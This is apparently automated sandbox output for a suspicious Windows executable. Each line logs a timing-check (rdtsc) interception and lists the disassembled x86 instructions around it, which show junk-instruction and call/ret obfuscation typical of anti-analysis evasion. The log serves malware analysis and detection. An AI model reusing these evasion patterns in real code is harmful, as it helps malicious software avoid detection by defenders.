Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D56C second address: 89D576 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D576 second address: 89D57A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D636 second address: 89D640 instructions: 0x00000000 rdtsc 0x00000002 je 00007F8C34D41ADCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D640 second address: 89D653 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jc 00007F8C3524AD96h 0x00000010 push esi 0x00000011 pop esi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D653 second address: 89D671 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D671 second address: 89D677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D677 second address: 89D69A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F8C34D41ADCh 0x0000000b jbe 00007F8C34D41AD6h 0x00000011 popad 0x00000012 mov eax, dword ptr [eax] 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F8C34D41ADCh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D7D3 second address: 89D7D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89D8CF second address: 89D8D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E2C3 second address: 89E2C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E2C8 second address: 89E2CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E2CD second address: 89E2DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push esi 0x00000009 jng 00007F8C3524AD9Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E2DE second address: 89E343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 xchg eax, ebx 0x00000006 push 00000000h 0x00000008 push eax 0x00000009 call 00007F8C34D41AD8h 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 add dword ptr [esp+04h], 00000015h 0x0000001b inc eax 0x0000001c push eax 0x0000001d ret 0x0000001e pop eax 0x0000001f ret 0x00000020 jmp 00007F8C34D41AE1h 0x00000025 nop 0x00000026 pushad 0x00000027 push esi 0x00000028 jc 00007F8C34D41AD6h 0x0000002e pop esi 0x0000002f jg 00007F8C34D41AEFh 0x00000035 popad 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E343 second address: 89E347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E347 second address: 89E362 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89E426 second address: 89E431 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007F8C3524AD96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89EDEB second address: 89EDF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89EDF0 second address: 89EE03 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8C3524AD98h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F7F2 second address: 89F808 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 89F808 second address: 89F820 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C3524ADA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0906 second address: 8A0953 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41ADAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c xor dword ptr [ebp+122D221Ch], edx 0x00000012 push 00000000h 0x00000014 xor dword ptr [ebp+122D1DC6h], edi 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push eax 0x0000001f call 00007F8C34D41AD8h 0x00000024 pop eax 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc eax 0x00000032 push eax 0x00000033 ret 0x00000034 pop eax 0x00000035 ret 0x00000036 mov edi, dword ptr [ebp+122D2CFBh] 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 pop eax 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0953 second address: 8A0959 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A0959 second address: 8A098D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C34D41AE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F8C34D41AE7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1526 second address: 8A152B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A152B second address: 8A1531 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1275 second address: 8A1285 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 je 00007F8C3524AD9Eh 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1531 second address: 8A1543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a je 00007F8C34D41AD8h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1DA5 second address: 8A1DAF instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8C3524AD9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A2945 second address: 8A294B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A1DAF second address: 8A1DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jl 00007F8C3524ADA4h 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F8C3524AD96h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A371F second address: 8A373E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jp 00007F8C34D41AF1h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F8C34D41ADFh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A294B second address: 8A2959 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A2959 second address: 8A295D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A41A6 second address: 8A41C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524ADA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A41C6 second address: 8A41CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A41CA second address: 8A41D4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8C3524AD96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A41D4 second address: 8A4227 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov edi, dword ptr [ebp+122D1CE8h] 0x00000011 sub esi, 7E47F127h 0x00000017 push 00000000h 0x00000019 mov dword ptr [ebp+122D1C2Ah], edx 0x0000001f mov esi, 4AF5B837h 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ebp 0x00000029 call 00007F8C34D41AD8h 0x0000002e pop ebp 0x0000002f mov dword ptr [esp+04h], ebp 0x00000033 add dword ptr [esp+04h], 00000018h 0x0000003b inc ebp 0x0000003c push ebp 0x0000003d ret 0x0000003e pop ebp 0x0000003f ret 0x00000040 mov edi, dword ptr [ebp+122D38F2h] 0x00000046 xchg eax, ebx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A4227 second address: 8A422B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A422B second address: 8A422F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A422F second address: 8A4235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3F8F second address: 8A3FA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F8C34D41AD6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3FA1 second address: 8A3FA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3FA5 second address: 8A3FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A3FAB second address: 8A3FB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8522 second address: 8A8526 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8526 second address: 8A8534 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A8534 second address: 8A853D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A853D second address: 8A8541 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A9550 second address: 8A9599 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8C34D41AD8h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov ebx, dword ptr [ebp+12451B9Ah] 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+122D2AE7h], ecx 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007F8C34D41AD8h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 00000014h 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 mov bx, C3DEh 0x0000003d push eax 0x0000003e jbe 00007F8C34D41ADEh 0x00000044 push edx 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A86D3 second address: 8A86E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C3524AD9Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A86E4 second address: 8A86E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA537 second address: 8AA558 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C3524ADA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA558 second address: 8AA5D4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8C34D41AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F8C34D41AE6h 0x00000011 nop 0x00000012 jbe 00007F8C34D41AD8h 0x00000018 mov edi, esi 0x0000001a push 00000000h 0x0000001c add dword ptr [ebp+124745EDh], edx 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ebx 0x00000027 call 00007F8C34D41AD8h 0x0000002c pop ebx 0x0000002d mov dword ptr [esp+04h], ebx 0x00000031 add dword ptr [esp+04h], 0000001Bh 0x00000039 inc ebx 0x0000003a push ebx 0x0000003b ret 0x0000003c pop ebx 0x0000003d ret 0x0000003e jmp 00007F8C34D41AE2h 0x00000043 push eax 0x00000044 push eax 0x00000045 push edx 0x00000046 push edx 0x00000047 jmp 00007F8C34D41ADDh 0x0000004c pop edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A96DF second address: 8A96F4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8C3524AD9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8A96F4 second address: 8A979C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 jno 00007F8C34D41AD6h 0x0000000e pop eax 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F8C34D41AD8h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b push dword ptr fs:[00000000h] 0x00000032 push 00000000h 0x00000034 push ecx 0x00000035 call 00007F8C34D41AD8h 0x0000003a pop ecx 0x0000003b mov dword ptr [esp+04h], ecx 0x0000003f add dword ptr [esp+04h], 00000016h 0x00000047 inc ecx 0x00000048 push ecx 0x00000049 ret 0x0000004a pop ecx 0x0000004b ret 0x0000004c mov ebx, 298F27BAh 0x00000051 or ebx, dword ptr [ebp+122D2E9Bh] 0x00000057 mov dword ptr fs:[00000000h], esp 0x0000005e jg 00007F8C34D41ADAh 0x00000064 mov eax, dword ptr [ebp+122D0E4Dh] 0x0000006a movzx edi, cx 0x0000006d push FFFFFFFFh 0x0000006f nop 0x00000070 pushad 0x00000071 jng 00007F8C34D41AEBh 0x00000077 jmp 00007F8C34D41AE5h 0x0000007c push eax 0x0000007d push edx 0x0000007e jmp 00007F8C34D41ADEh 0x00000083 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AB557 second address: 8AB55D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AA786 second address: 8AA78A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD8EA second address: 8AD8EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AD8EF second address: 8AD8F4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AF83E second address: 8AF8B8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F8C3524AD9Bh 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop edx 0x00000012 popad 0x00000013 nop 0x00000014 mov bl, 86h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007F8C3524AD98h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 mov edi, 231812C2h 0x00000037 push 00000000h 0x00000039 jmp 00007F8C3524AD9Ch 0x0000003e xor bx, 4873h 0x00000043 xchg eax, esi 0x00000044 push edx 0x00000045 push edi 0x00000046 jmp 00007F8C3524ADA8h 0x0000004b pop edi 0x0000004c pop edx 0x0000004d push eax 0x0000004e push eax 0x0000004f push edx 0x00000050 jp 00007F8C3524AD98h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8AEA42 second address: 8AEA70 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F8C34D41AD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007F8C34D41AE6h 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jnc 00007F8C34D41AD6h 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0922 second address: 8B0942 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a xor dword ptr [ebp+122D29F4h], eax 0x00000010 push 00000000h 0x00000012 sub dword ptr [ebp+122D2914h], ebx 0x00000018 push 00000000h 0x0000001a xchg eax, esi 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0942 second address: 8B0949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0949 second address: 8B094E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B094E second address: 8B0960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F8C34D41AD8h 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B178F second address: 8B1794 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4788 second address: 8B480B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F8C34D41AD6h 0x0000000a popad 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F8C34D41AD8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 sub dword ptr [ebp+122D2A04h], ebx 0x0000002f push 00000000h 0x00000031 mov edi, dword ptr [ebp+122D2D17h] 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edi 0x0000003c call 00007F8C34D41AD8h 0x00000041 pop edi 0x00000042 mov dword ptr [esp+04h], edi 0x00000046 add dword ptr [esp+04h], 0000001Bh 0x0000004e inc edi 0x0000004f push edi 0x00000050 ret 0x00000051 pop edi 0x00000052 ret 0x00000053 jmp 00007F8C34D41ADAh 0x00000058 js 00007F8C34D41ADAh 0x0000005e push edi 0x0000005f mov bl, dh 0x00000061 pop ebx 0x00000062 xchg eax, esi 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 push ecx 0x00000067 pop ecx 0x00000068 push eax 0x00000069 push edx 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B480B second address: 8B4810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4810 second address: 8B4825 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d ja 00007F8C34D41AD8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B4825 second address: 8B482A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B6876 second address: 8B687B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B28F5 second address: 8B28F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B49C5 second address: 8B49CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B0A65 second address: 8B0A8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F8C3524AD96h 0x00000009 js 00007F8C3524AD96h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 pushad 0x00000014 jmp 00007F8C3524AD9Eh 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B28F9 second address: 8B28FF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B49CA second address: 8B49E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C3524ADA3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8B7989 second address: 8B7990 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
